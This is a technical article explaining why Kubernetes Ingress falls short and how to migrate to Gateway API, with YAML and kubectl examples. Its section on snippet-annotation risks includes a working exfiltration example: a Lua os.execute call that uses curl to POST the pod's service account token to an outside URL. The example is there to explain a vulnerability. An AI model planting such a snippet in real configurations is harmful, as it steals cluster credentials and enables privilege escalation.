Beyond Ingress: Why It Reached Its Limits and What Gateway API Changes for Production

A technical overview of the limitations of Kubernetes Ingress, how Gateway API separates infrastructure and routing, zero-downtime migration, and operational trade-offs.

Vithya Jeyachandran Nov 15, 2026

For nearly a decade, the Kubernetes Ingress resource has been the standard way to route application traffic into the cluster. Exposing a web service meant declaring an Ingress object, adding a few annotations, referencing the appropriate IngressClass, and pointing a DNS record at the Ingress controller’s LoadBalancer IP.

The kubernetes/ingress-nginx project has been officially retired, the Ingress API remains feature-frozen and Gateway API is now supported by all major controllers (NGINX Gateway Fabric, Envoy Gateway, Cilium, Traefik, and others). Rather than switching to another Ingress controller, operations and platform teams are migrating directly to Gateway API.

This transition raises three key questions for teams: what limitations of Ingress does Gateway API solve, how does a zero-downtime migration work in practice, and what new operational overhead does it introduce?

The Limitations of Ingress in Production

An Ingress acts as an entry point that directs web traffic (HTTP/HTTPS) from outside the cluster to internal backend services based on rules defined in the manifest:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: blue-colorapp
  namespace: blue
spec:
  ingressClassName: nginx
  rules:
  - host: blue.my-demo.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: blue-colorapp
            port:
              number: 5000

For simple, static use cases, this is sufficient. However, once a production application requires complex routing, canary deployments, custom timeouts, header mutations, or rate limiting, the functional and architectural limits of Ingress become apparent.

Black-Box Debugging

The Ingress API specification provides no status reporting for routing rules. If an Ingress manifest references a non-existent Service or the wrong backend port, or contains a typo in an annotation name, the Kubernetes API server still accepts it without warning. The ingress-nginx validating admission webhook does catch configurations that would produce an invalid nginx.conf, but it does not detect logical errors like these. kubectl get ingress lists the object with its address, even when there is no reachable backend behind the route.

Because Ingress resources do not surface reconciliation errors, application developers cannot find out on their own why their routes return 404 Not Found or 503 Service Unavailable. Instead, debugging requires access to the controller’s raw container logs:

kubectl logs -n ingress-nginx deployment/ingress-nginx-controller | grep -E "error|rejected"

In multi-tenant clusters, application developers typically lack RBAC access to the controller’s namespace for security reasons. Without access to the logs, a routing typo requires assistance from the platform team.

Proprietary Annotations

Ingress only natively supports hostnames and URL paths. Common production requirements such as path prefix rewriting or header modification require provider-specific annotations as in the ingress-nginx example:

# replacing the prefix (requires regex capture groups like /api(/|$)(.*) in path)
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: /$2 
# request header modifier
nginx.ingress.kubernetes.io/configuration-snippet: | 
  more_set_input_headers "X-Gateway-Routed: false";

When switching controllers (e.g., from NGINX to Envoy or Cilium), all of these configurations must be rewritten. Annotations are simple, untyped key-value pairs, so the Kubernetes API server cannot validate them at admission time. A typo in an annotation is silently ignored by the controller, leading to incorrect routing in production.

Missing Traffic Splitting and Header Routing

Deployment patterns such as canary releases, A/B testing, and traffic mirroring are not supported by the standard Ingress specification.

The schema does not support percentage-based traffic splitting (e.g., 90% to v1, 10% to v2) across multiple backend services. In ingress-nginx, a canary release therefore requires a second, largely duplicate Ingress object with the annotations nginx.ingress.kubernetes.io/canary: "true" and nginx.ingress.kubernetes.io/canary-weight: "10". Splitting traffic across three or more backend versions simultaneously is not possible with this workaround. Similarly, routing based on HTTP headers, query parameters, or HTTP methods is missing from the standard.

Limited Protocol Support

An Ingress resource cannot route raw TCP or UDP traffic (such as for databases, game servers, or VoIP). Instead, teams must rely on NodePort services, dedicated LoadBalancer services, or controller-specific ConfigMaps.

The Ingress API also lacks a standardized routing model for gRPC. Because the specification has no native concept of gRPC services, methods, or metadata headers, teams must configure routing via standard http.paths rules and controller annotations such as nginx.ingress.kubernetes.io/backend-protocol: "GRPC".

No Native Cross-Namespace Routing

An Ingress resource can only reference Services within the same namespace. To route traffic to a service in another namespace (such as a shared authentication service), teams must fall back on ExternalName Services as a workaround:

# ...
  rules:
  - host: blue.my-demo.com
    http:
      paths:
      - path: /authenticate
        pathType: Prefix
        backend:
          service:
            # Standard Ingress cannot directly reference a Service in the `auth` namespace
            # An ExternalName Service is required as a workaround.
            name: my-demo-auth-external-name-service
            port:
              number: 80

With an ExternalName Service, the Ingress controller forwards traffic to an internal DNS CNAME. If the upstream service expects a specific SNI hostname during the TLS handshake, certificate verification can fail. In addition, ExternalName Services have no EndpointSlices, so the controller relies on DNS resolution via CoreDNS at runtime. Transient DNS issues can therefore cause latency spikes or dropped requests.

Monolithic RBAC

Ingress bundles TLS configuration (hostnames, TLS certificates) and application routing into a single resource. Because Kubernetes RBAC only applies to the object as a whole, infrastructure and developer responsibilities cannot be separated: if a developer claims a hostname already in use elsewhere, it can cause routing conflicts on the shared Ingress controller.

A referenced TLS Secret must also reside in the same namespace as the Ingress object. Platform teams must therefore replicate shared or wildcard TLS Secrets into each application namespace, where developers can read the private key or overwrite the secret:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: blue-colorapp
  namespace: blue
spec:
  tls:
  - hosts:
    - blue.my-demo.com
    secretName: wildcard-demo-tls # <-- App teams could accidentally overwrite or read this TLS secret
#    ....

Remote Code Execution via Annotations

To work around the limited Ingress specification, ingress-nginx introduced “snippet annotations” that insert raw NGINX directives directly into the generated nginx.conf. When snippets are enabled (they have been off by default since v1.9.0), any application team with write access to Ingress resources in its own namespace can use them to execute arbitrary Lua or shell code inside the controller pod:

nginx.ingress.kubernetes.io/configuration-snippet: |     
  access_by_lua_block {                      
    os.execute("curl -X POST https://my-demo-app.com/leak --data $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)")
  }

Because a shared controller’s ServiceAccount requires read access to Secrets and Services across all namespaces, a single Ingress manifest can lead to cluster-wide privilege escalation.

Even without snippets, the underlying pattern stays exploitable, because the controller translates annotations into nginx.conf: in March 2025, IngressNightmare (CVE-2025-1974) allowed code execution inside the controller pod through its admission webhook, with no write access to Ingress resources required.

Gateway API: Role-Based Separation

Gateway API divides responsibilities across three distinct resource layers aligned with how engineering teams operate:

┌────────────────────────────────────────────────────────┐
│ 1. GatewayClass (Infrastructure Provider / Admin)      │      
│    Defines the proxy controller implementation         │
└───────────────────────────┬────────────────────────────┘
                            │ (Manages)
┌───────────────────────────▼────────────────────────────┐
│ 2. Gateway (Platform / Operations Team)                │ 
│    Defines Entry Points: Ports, Listeners, TLS Certs   │
└───────────────────────────┬────────────────────────────┘
                            │ (Attaches Routes across Namespaces)
┌───────────────────────────▼────────────────────────────┐
│ 3. HTTPRoute / GRPCRoute / TCPRoute (App Developers)   │  
│    Defines Application Logic: Paths, Weights, Filters  │
└────────────────────────────────────────────────────────┘

Layer 1 (GatewayClass): Defining the Controller

As a cluster-scoped resource, GatewayClass (similar to IngressClass) defines which controller (such as NGINX, Envoy, Istio, or a cloud controller) manages Gateways of this class. Infrastructure administrators configure the GatewayClass centrally and can attach global proxy settings via parametersRef:

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: my-demo-nginx-gateway-class
spec:
  controllerName: gateway.nginx.org/nginx-gateway-controller
  parametersRef:
    group: gateway.nginx.org
    kind: NginxProxy
    name: ngf-proxy-config
    namespace: my-demo-nginx-gateway

A GatewayClass does not open ports, allocate IPs, or route traffic on its own.

Layer 2 (Gateway): Entry Points, Listeners and TLS Configuration

Using the Gateway resource, platform and operations teams configure the concrete network entry points of a GatewayClass. Through listeners, they define which ports, protocols, and hostnames are exposed, attach TLS certificates, and use allowedRoutes to control which namespaces are permitted to bind routes to the Gateway:

apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: my-demo-gateway
  namespace: demo-infra
spec:
  gatewayClassName: my-demo-nginx-gateway-class
  listeners:
  - name: https-wildcard
    protocol: HTTPS
    port: 443
    hostname: "*.my-demo.com"
    tls:
      mode: Terminate
      certificateRefs:
      - name: wildcard-demo-tls # TLS Secret stays in the demo-infra namespace
    allowedRoutes:
      namespaces:
        from: Selector
        selector:
          matchLabels:
            gateway-access: "my-demo" # target namespace label, otherwise the routes to this gateway will be rejected

This resolves the lack of role separation from Ingress: listener configuration and the wildcard TLS Secret remain isolated in the demo-infra namespace without needing to be shared or copied into application namespaces.

It does not prevent hostname conflicts on its own, though: under the wildcard listener, two namespaces can still claim the same hostname in their HTTPRoutes. For identical matches, the specification gives precedence to the older route. To rule this out, give each team its own listener with a fixed hostname.

Layer 3 (Route Resources): Application Routing for Developers

Using route resources (such as HTTPRoute or GRPCRoute), application developers define within their own namespace how incoming requests are forwarded to their services. They bind the route to the shared Gateway via parentRefs without needing cluster-wide permissions.

Clear Status Reporting via Status Conditions

Gateway API resolves the missing status reporting of Ingress through standardized status conditions on every resource. The controller writes directly to the status block of the HTTPRoute whether the route is valid, was accepted by the Gateway (Accepted), and whether all referenced Services could be resolved (ResolvedRefs):

kubectl get httproute blue-colorapp-route -n blue -o yaml
status:
  parents:
  - parentRef:
      name: my-demo-gateway
      namespace: demo-infra
    controllerName: gateway.nginx.org/nginx-gateway-controller
    conditions:
    # 1. Did the Gateway accept this route?
    - type: Accepted
      status: "True"
      reason: Accepted
      message: "Route successfully bound to Gateway listener https-wildcard"
    # 2. Did all backend services and namespaces resolve?
    - type: ResolvedRefs
      status: "True"
      reason: ResolvedRefs
      message: "All backend Service references resolved successfully"

If a developer references an invalid port, a non-existent Service, or a Gateway that has not permitted their namespace, the controller immediately reports the reason in the route’s status:

  - type: ResolvedRefs
    status: "False"
    reason: BackendNotFound
    message: "Service 'blue-colorapp-v3' in namespace 'blue' not found"

Developers can now debug routing errors within their own namespace using standard kubectl commands, without access to controller logs or support from the platform team. Only type, status, and reason are standardized. The wording of the message fields differs between controllers, so read the texts above as examples.

Native Traffic Splitting Without Duplicate Manifests

For canary releases and weighted load balancing, Gateway API does not require duplicate resources. Through matches, an HTTPRoute supports routing by paths, HTTP headers, query parameters, and methods, while distributing traffic across multiple backendRefs within the same rule using weight:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: blue-colorapp-route
  namespace: blue
spec:
  parentRefs:
  - name: my-demo-gateway
    namespace: demo-infra # Attaches the route to the central platform Gateway
  hostnames:
  - "blue.my-demo.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /    
    backendRefs:
    # 90% Production Traffic to Stable v1
    - name: blue-colorapp
      port: 5000
      weight: 90
    # 10% Canary Traffic to Release Candidate v2
    - name: blue-colorapp-v2
      port: 5000
      weight: 10      

Native Filters Instead of Proprietary Annotations and Snippets

In Gateway API, Layer 7 operations such as URL rewrites, redirects, request mirroring, and header modifications are defined directly as filters in the HTTPRoute schema. This replaces vendor-specific annotations and unsafe configuration snippets, allowing the Kubernetes API server to validate the configuration at admission time:

rules:
- matches:
  - path:
      type: PathPrefix
      value: /legacy-api
  filters:
  # 1. URL Path Rewriting (Native and statically validated)
  - type: URLRewrite
    urlRewrite:
      path:
        type: ReplacePrefixMatch
        replacePrefixMatch: /api/v1
  # 2. Modify HTTP headers (without raw proxy directives)
  - type: RequestHeaderModifier
    requestHeaderModifier:
      set:
        - name: X-Gateway-Routed
          value: "true"
  backendRefs:
  - name: blue-colorapp
    port: 5000

Controlled Cross-Namespace Routing with ReferenceGrant

Gateway API replaces ExternalName workarounds with the ReferenceGrant resource, which requires explicit permission from the target namespace before cross-namespace routing takes effect.

In this example, an HTTPRoute in the blue namespace forwards /authenticate requests to the shared demo-auth-service in the auth namespace.

# 1. The App Team defines the cross-namespace backendRef
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: blue-auth-route
  namespace: blue
spec:
  parentRefs:
  - name: my-demo-gateway
    namespace: demo-infra
  hostnames:
  - "blue.my-demo.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /authenticate
    backendRefs:
    - name: demo-auth-service
      namespace: auth # Explicit cross-namespace reference
      port: 8080
# 2. The team owning the target namespace explicitly permits the reference
apiVersion: gateway.networking.k8s.io/v1
kind: ReferenceGrant
metadata:
  name: allow-blue-auth
  namespace: auth # Lives in the target namespace
spec:
  from:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    namespace: blue
  to:
  - group: ""
    kind: Service
    name: demo-auth-service

Without a matching ReferenceGrant in the target namespace, the controller rejects the reference and sets ResolvedRefs: False (reason: RefNotPermitted) on the route. ReferenceGrant is not limited to backend Services. It can also allow a Gateway to reference TLS Secrets stored in a central namespace (such as cert-manager).

ReferenceGrant has only been available as v1 since Gateway API v1.5. Older installations only know gateway.networking.k8s.io/v1beta1.

Support for gRPC, TCP, UDP, and TLS

Gateway API uses the same role and attachment model across other protocols, eliminating the need for controller-specific ConfigMaps or dedicated LoadBalancer Services:

  • GRPCRoute: Native Layer 7 routing for gRPC based on service name, methods, and metadata headers.
  • TCPRoute & UDPRoute: Declarative Layer 4 routing for databases (Postgres, Redis), message queues (Kafka), and streaming services.
  • TLSRoute: Forwarding of encrypted TLS connections (passthrough) based on the SNI header without decrypting traffic at the Gateway.

These differ in maturity: GRPCRoute has been in the Standard channel since Gateway API v1.1, TLSRoute since v1.5, and TCPRoute and UDPRoute only since v1.6. Not every controller implements every route type, so check the list of implementations and their conformance reports before you plan.

The Zero-Downtime Migration

Transitioning from Ingress to Gateway API does not require an all-at-once cutover:

Parallel Coexistence

Teams can deploy a Gateway API controller alongside the existing Ingress controller in the same cluster. Both can coexist on separate LoadBalancer IPs and forward traffic to the same backend Service at the same time. This allows teams to test routes on the new Gateway before switching DNS.

Automated Manifest Translation

The official Kubernetes ingress2gateway CLI tool audits existing Ingress objects and automatically generates compliant Gateway and HTTPRoute manifests:

ingress2gateway print --providers=ingress-nginx --input-file ingress-manifests.yaml > gateway-api.yaml

Custom Lua blocks, complex regexes, and vendor plugins cannot be auto-converted and require manual refactoring.

The tooling around Ingress is not covered either. cert-manager only issues certificates for Gateway resources once its Gateway API support is enabled, and external-dns only creates DNS records for the new routes when --source=gateway-httproute is configured as an additional source.

Phased Rollout

  • Step 1: Deploy all new microservices directly to Gateway API.
  • Step 2: Migrate complex legacy services (canary deployments, cross-namespace routes) to eliminate error-prone annotations.
  • Step 3: Shift DNS traffic incrementally to the new Gateway and decommission legacy Ingress objects.

Operational Overhead and Trade-offs

While Gateway API resolves the functional and architectural limitations of Ingress, it introduces specific operational requirements that platform teams must manage:

Policy Attachment Instead of Annotations

Standard resources such as Gateway and HTTPRoute cover listener configuration, TLS termination, and traffic routing. Capabilities such as rate limiting, WAF rules, authentication, and circuit breaking are provided by controller vendors via the Policy Attachment model. Instead of annotations, these features use dedicated Custom Resources, such as BackendTrafficPolicy and SecurityPolicy in Envoy Gateway or ClientSettingsPolicy in NGINX Gateway Fabric. While this prevents unvalidated typos, it shifts the effort to managing additional vendor-specific CRDs, including how policies inherit or override settings between Gateway and HTTPRoute resources.

Increased API Surface Area

Splitting configuration by role replaces two resources (IngressClass and Ingress) with up to four (GatewayClass, Gateway, HTTPRoute, ReferenceGrant). While this enforces clean RBAC boundaries, it increases the number of API objects in the cluster and requires both operations and development teams to understand how cross-namespace references work together.

Load Balancer Provisioning and Cloud Costs

Many Gateway controllers provision a dedicated proxy Deployment and cloud LoadBalancer for each Gateway object. Every additional LoadBalancer consumes an IP address and incurs its own cloud provider charges (fixed base price + usage-based pricing). Gateway creation should therefore be restricted to the platform team via RBAC. To control costs, multiple teams can share a central Gateway, while dedicated Gateways are reserved for workloads that require strict isolation.

Conclusion

If you are setting up a new cluster today, there is no reason left to start with Ingress: ingress-nginx is retired, and new features only land in Gateway API. In existing clusters, migrate first where annotations, snippets, and copied TLS Secrets cause the most trouble today. The price is more resources and vendor-specific policy CRDs that the platform team has to understand and operate.

Cookies